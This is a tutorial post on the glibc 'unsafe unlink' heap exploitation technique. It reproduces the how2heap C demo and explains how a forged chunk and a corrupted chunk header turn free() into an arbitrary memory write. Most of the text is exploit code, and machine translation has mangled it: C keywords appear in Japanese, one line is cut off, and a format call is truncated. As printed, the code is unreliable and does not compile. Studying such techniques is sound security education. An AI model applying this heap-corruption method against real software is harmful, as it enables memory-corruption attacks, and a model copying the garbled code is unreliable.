ソース
1の#include <stdio.hの> 2の#include <STDLIB.H> 3の#include < 文字列・H> 4の#include <stdint.h> 5 6 7 uint64_tを* chunk0_ptr。 8 9 INT main()の 10 { 11 のfprintf(stderrに、" \ nは2.0リンク解除危険へようこそ!" )。 12 関数fprintf(stderrに、" Ubuntuの中で14.04 / 16.04 64ビットをテストした\ nは。" ); 13 関数fprintf(stderrに、"このあなたが上のリンクを解除呼び出すことができる領域の既知の位置にポインタを持っているとき技術を使用することができます。\ n 「); 14 関数fprintf(stderrに、」最も一般的なシナリオは、オーバーフロー及びグローバルを有することができる脆弱なバッファでありますポインタ\ nは。" ); 15 16 int型 malloc_size = 0x80を ; // 我々はfastbins使用しないように十分な大きさにしたい 17 のintヘッダサイズ= 2 ; 18 19 のfprintf(stderrに、" この練習のポイントは壊れに無料で使用することです任意のメモリの書き込みを達成するために、グローバルchunk0_ptr \ N \ N。" ); 20 21 chunk0_ptr =(uint64_tを*)のmalloc(malloc_size)。// chunk0 22 uint64_tを* chunk1_ptr =(uint64_tを*)のmalloc(malloc_size)。// chunk1 23 関数fprintf(stderrに、" グローバルchunk0_ptrは、%Pを\ nを指し、%pである"、&chunk0_ptr、chunk0_ptr)。 24 関数fprintf(stderrに、" 私たちは壊れしようとしている被害者のチャンクは%のp \ n個の\ nである" 、chunk1_ptr)。 25 26 のfprintf(stderrに、" 私たちはchunk0内部の偽のチャンクを作成します。\ n " ); 27 関数fprintf(stderrに、" 私たちのセットアップ(FD)私達の偽チャンクの'next_free_chunkは' P-> FD-> BK = P. \ nのようにchunk0_ptrを、&に近い指すように" ); 28 chunk0_ptr [ 2 ] =(uint64_tを)&chunk0_ptr-(のsizeof(uint64_tを)* 3 )。 29 関数fprintf(stderrに、" (BK)P-> BK-> FD = P. \ nのようにchunk0_ptrを、&に近い指すように私達の偽チャンクの我々のセットアップ'previous_free_chunk' " ); 30 関数fprintf(stderrに、" この設定で、我々は、このチェック渡すことができます!!(P-> FD-> BKを= P || P-> BK-> FD = P)==偽\ nを" ); ] =(uint64_tを)&chunk0_ptr-(のsizeof(uint64_tを)* 2 )。 32 関数fprintf(stderrに、" 偽チャンクはfdが:%のPを\ n "、(ボイド *)chunk0_ptr [ 2 ])。 33 関数fprintf(stderrに、" 偽チャンクBK:%のPする\ n \ n "、(ボイド *)chunk0_ptr [ 3 ])。 34 35 のfprintf(stderrに、「我々は自由にchunk1メタデータを変更することができるように、我々はchunk0でオーバーフローを持っていることを前提とします。\ n 」); 36 uint64_tを* chunk1_hdr = chunk1_ptr - ヘッダサイズ。 37 関数fprintf(stderrに、「自由はchunk0が始まるが、我々は偽のチャンクを配置した場所だと思いますように、我々はchunk1で『previous_size』として保存されてchunk0の大きさを()縮小する\ n 」); 38 fprintfのは(stderrに、「それは私達の偽のチャンクが場所を正確に知らポインタが、私たちがn \に応じてチャンクを縮小することから開始することが重要です」)。 39 chunk1_hdr [ 0 ] = malloc_size。 40 関数fprintf(stderrに、" 私たちは'通常は' chunk0を解放していた場合、chunk1.previous_sizeしかし、これはその新しい値であり、0x90をされているだろう:%のp \ nを"、41 関数fprintf(stderrに、" 私たちがFalseとしてchunk1の'previous_in_use'を設定することにより、自由として私達の偽のチャンクをマーク\ N \ N。" ); 42 chunk1_hdr [ 1 ] - =〜1 。 43 44 のfprintf(stderrに、" 今、私たちの自由chunk1ことがchunk0_ptrを上書きし、私達の偽チャンクのリンクを解除します後方統合ので\ nは。" ); 45 関数fprintf(stderrに、「あなたはhttps://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hbではunlinkマクロのソースを見つけることができます= 07c18a008c2ed8f5660adba2b778671db159a141#l1344の\ n個の\ nを" ); 46 無料(chunk1_ptr)。 47 48 関数fprintf(stderrに、「この時点で、我々は、任意の場所を指すように、それ自体を上書きするchunk0_ptrを使用することができます。\ n 」); 49 CHAR victim_string [ 8 ]。 50 strcpyの(victim_string、" こんにちは〜!" ); 51 chunk0_ptr [ 3 ] = (uint64_tを)victim_string。 52 53 のfprintf(stderrに、「私たちが望む場所chunk0_ptrが今指している、我々は被害者の文字列を上書きするためにそれを使用する\ n 」); 54 関数fprintf(stderrに、"元の値:%Sの\ n "victim_string); 55 chunk0_ptr [ 0 ] = 0x4141414142424242LL; 56 関数fprintf(stderrに、" 新しい値:%Sの\ n " 、victim_string); 57 }
業績
最初のヒープブロックサイズは0x80のchunk0を適用すること、第1のアドレスデータがchunk0_ptrのグローバル変数に格納されます。
その後は0x80のサイズをchunk1適用
chunk0後、その後のヒープサイズ0x70 + 0x10を偽物に鍛造
偽造fake-> FD =&chunk0_ptr-0x18の
fake-> BK =&chunk0_ptr-0x10の
ときバイパスリンクを解除
P-> FD-> BK!= P || P-> BK-> FD!= P)==誤検出
後に変更chunk1-> prev_size = 0x80の偽造偽のヒープサイズ0x70 + 0x10のです
chunk1->サイズ - > prev_inuse = 0
解放された偽のヒープ偽の錯覚を作成します。
それは0x90をへの変更では0x00 0x91を0x80の0x603098によって変更0x603090で見ることができます
(chunk1)自由後前者は、ヒープ偽物となっているので、道を偽物解放されます
2つのスタックは、接続解除可能なので、前方組み合わせ
&偽、即ち、の値を変更することになる行うリンクを解除(偽)動作、chunk0_ptrの値
chunk0_ptr=fake->fd=&chunk0_ptr-0x18
之后修改chunk0_ptr[3]的内容 即为修改chunk_ptr的值
这里将chunk_ptr赋值为字符串地址
再修改chunk_ptr[0]的值,即为修改chunk_ptr所指地址处前8字节内容
这里将字符串地址处前8字节修改为BBBBAAAA
这里例子展示了unsafe_unlink,可以造成向指定地址写入任意内容的危害。